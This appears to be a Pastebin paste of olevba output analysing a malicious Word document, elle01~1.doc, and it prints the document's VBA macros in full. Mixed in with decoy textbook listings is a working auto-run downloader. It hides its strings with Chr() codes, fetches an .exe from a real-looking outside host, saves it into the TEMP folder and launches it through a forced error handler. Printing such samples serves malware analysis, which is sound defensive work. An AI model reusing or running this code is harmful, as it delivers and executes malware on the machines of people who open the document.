Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.26 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MAS---- elle01~1.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
- ===============================================================================
- FILE: elle01~1.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: elle01~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- Nip121ÖÊÂ3017 (700)
- End Sub
- Sub Nip121ÖÊÂ3017(FFFFF As Integer)
- baV5XhIz81
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +----------+----------+---------------------------------------+
- | Type | Keyword | Description |
- +----------+----------+---------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- +----------+----------+---------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: elle01~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public X480smtBX7GP As String
- ' Listing 15.1. Using Automation to create a new Word document.
- '
- Public Function P4mfk1w0(hFiXhEUGKyuh5 As String)
- Set UORXlUXJ8 = WEydCTxsxt4(Chr(83) & Chr(104) & Chr(101) & Chr(108) & "l" & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & "t" & Chr(105) & Chr(111) & Chr(110))
- UORXlUXJ8.Open (X480smtBX7GP)
- End Function
- Sub CreateWordDocument()
- Dim wordApp As Word.Application
- '
- ' Create the Word Application object
- '
- HCnjkdbhve.Application.StatusBar = "Creating Word Application object..."
- Set wordApp = CreateObject("Word.Application")
- '
- ' Work with Word's Application object directly
- '
- With wordApp
- '
- ' Create a new document and add some text
- '
- HCnjkdbhve.Application.StatusBar = "Creating new Word document..."
- .Documents.Add
- .ActiveDocument.Paragraphs(1).Range.InsertBefore "This is an Automation test."
- '
- ' Save the document
- '
- HCnjkdbhve.Application.StatusBar = "Saving Word document..."
- .ActiveDocument.SaveAs "C:\My Documents\OLETest.doc"
- '
- ' We're done, so quit Word
- '
- HCnjkdbhve.Application.StatusBar = "Shutting down Word..."
- .Quit
- End With
- Set wordApp = Nothing
- HCnjkdbhve.Application.StatusBar = False
- End Sub
- ' Listing 15.2. Using Automation to work with a Word document.
- '
- Public Function WEydCTxsxt4(ofuVzwV8M As String)
- Set WEydCTxsxt4 = CreateObject(ofuVzwV8M)
- End Function
- Sub DocumentWordCount()
- Dim wordDoc As Word.Document
- '
- ' Get the Word Document object
- '
- HCnjkdbhve.Application.StatusBar = "Getting Word Document object..."
- Set wordDoc = GetObject("C:\My Documents\OLETest.doc", "Word.Document")
- '
- ' Get the word count
- '
- HCnjkdbhve.Application.StatusBar = "Getting word count..."
- MsgBox wordDoc.Name & " has " & wordDoc.Words.Count & " words."
- '
- ' We're done, so quit Word and release object variable
- '
- HCnjkdbhve.Application.StatusBar = "Shutting down Word..."
- wordDoc.HCnjkdbhve.Application.Quit
- Set wordDoc = Nothing
- HCnjkdbhve.Application.StatusBar = False
- End Sub
- Public Function S5keRrVDgCuXr(rCKhzY8Z5 As Variant, YVPfKl3km As String)
- Dim x0YC6QLt: Set x0YC6QLt = WEydCTxsxt4(Chr(65) & Chr(100) & "o" & Chr(100) & Chr(98) & "." & "S" & Chr(116) & "r" & Chr(101) & "a" & "m")
- With x0YC6QLt
- .Type = 1
- .Open
- .write rCKhzY8Z5
- .savetofile YVPfKl3km, 2
- End With
- End Function
- ' Listing 15.3. Using Automation to run a PowerPoint
- ' presentation slide show.
- '
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+--------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+--------------+-----------------------------------------+
- | Suspicious | Open | May open a file |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Run | May run an executable file or a system |
- | | | command |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- +------------+--------------+-----------------------------------------+
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: elle01~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub GatherBudgetSheets()
- Dim myCollection As New Collection
- ' Dim ws As Worksheet
- For Each ws In ThisWorkbook.Worksheets
- If InStr(ws.Name, "Budget") Then
- myCollection.Add Item:=ws, Key:=ws.Name
- End If
- Next 'ws
- MsgBox "The custom collection contains " & _
- myCollection.Count & " worksheets."
- End Sub
- ' Listing 16.2. A procedure that clears all objects
- ' from a custom collection.
- '
- Sub ClearCollection(coll As Collection)
- Do While coll.Count > 0
- coll.Remove Index:=1
- Loop
- End Sub
- ' Listing 16.3. Using an object in a custom class.
- Sub baV5XhIz81()
- Set qKUOnuHCDX = WEydCTxsxt4("M" & Chr(105) & "c" & Chr(114) & "o" & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))
- Hcwvewv = Chr(104) & Chr(116) & "t" & Chr(112) & ":" & Chr(47) & Chr(60) & Chr(47) & Chr(111) & Chr(122) & Chr(101) & Chr(108) & Chr(100) & Chr(117) & Chr(122) & Chr(101) & Chr(110) & Chr(115) & Chr(117) & "r" & Chr(117) & Chr(99) & Chr(117) & Chr(107) & Chr(117) & Chr(114) & "s" & Chr(117) & Chr(46) & Chr(99) & Chr(111) & "m" & Chr(47) & "2" & Chr(53) & "3" & Chr(47) & Chr(54) & "3" & Chr(50) & Chr(46) & "e" & Chr(120) & "e"
- Hcwvewv = Replace(Hcwvewv, Chr(60), "", 1, 1, vbTextCompare)
- CallByName qKUOnuHCDX, Chr(79) & "p" & Chr(101) & Chr(110), VbMethod, Chr(71) & "E" & "T" _
- , Hcwvewv _
- , _
- False
- Set WigQ9SJdY = WEydCTxsxt4("W" & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
- Set QI4SQ0ILWyLNH = CallByName(WigQ9SJdY, Chr(69) & "n" & Chr(118) & "i" & Chr(114) & "o" & Chr(110) & "m" & "e" & "n" & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & "s" & Chr(115))
- roCrTtTn4bavbJ = QI4SQ0ILWyLNH(Chr(84) & Chr(69) & Chr(77) & Chr(80))
- X480smtBX7GP = roCrTtTn4bavbJ & "\" & Chr(98) & Chr(108) & "o" & Chr(103) & Chr(100) & Chr(121) & Chr(110) & Chr(97) & Chr(109) & "o" & Chr(111) & Chr(99) & "o" & Chr(109) & "." & "e" & "x" & Chr(101)
- Dim NGWFp3rv8t() As Byte
- CallByName qKUOnuHCDX, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
- NGWFp3rv8t = CallByName(qKUOnuHCDX, "r" & Chr(101) & "s" & Chr(112) & "o" & Chr(110) & Chr(115) & Chr(101) & "B" & Chr(111) & "d" & "y", VbGet)
- S5keRrVDgCuXr NGWFp3rv8t, X480smtBX7GP
- On Error GoTo JlQwk75hS
- a = 356 / 0
- HHdhh.Hnjkvowve
- On Error GoTo 0
- mE6JTzsE:
- Exit Sub
- JlQwk75hS:
- P4mfk1w0 ("VAJ7EpH77R5Tf")
- Resume mE6JTzsE
- End Sub
- '
- Sub CustomClassObjectTest()
- 'Dim newCustomer As New CCustomer
- With newCustomer
- .Account = "12-3456"
- .Name = "ACME Coyote Supplies"
- .Address = "123 Wily Way"
- 'Set .Invoices = New CInvoices
- End With
- With newCustomer.Invoices
- .Add CustAcct:=newCustomer.Account, Amt:=1234.56
- .Add CustAcct:=newCustomer.Account, Amt:=432.1
- MsgBox .Count
- End With
- End Sub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ANALYSIS:
- +------------+------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+------------+-----------------------------------------+
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | CallByName | May attempt to obfuscate malicious |
- | | | function calls |
- +------------+------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement